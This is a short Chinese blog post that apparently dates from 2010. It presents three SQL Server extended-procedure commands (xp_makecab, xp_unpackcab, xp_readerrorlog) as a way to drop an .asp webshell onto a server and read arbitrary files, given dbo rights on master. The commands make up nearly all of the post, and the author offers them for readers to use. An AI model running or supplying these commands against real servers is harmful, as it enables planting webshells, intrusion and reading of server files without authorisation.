3个MSSQL扩展,可用来获取WEBSHELL

2010, August 19, 7:55 AM. 数据库类
Submitted by admin

EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'

打包

EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'

解包,可以用于得到webshell

EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'

读文本代码



要求权限:

master的dbo权限

0-----------------------------------------------------------------------0

马骏 :

希望看到的人能用上

如果遇到什么问题可以留言给我

Tags: mssql

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):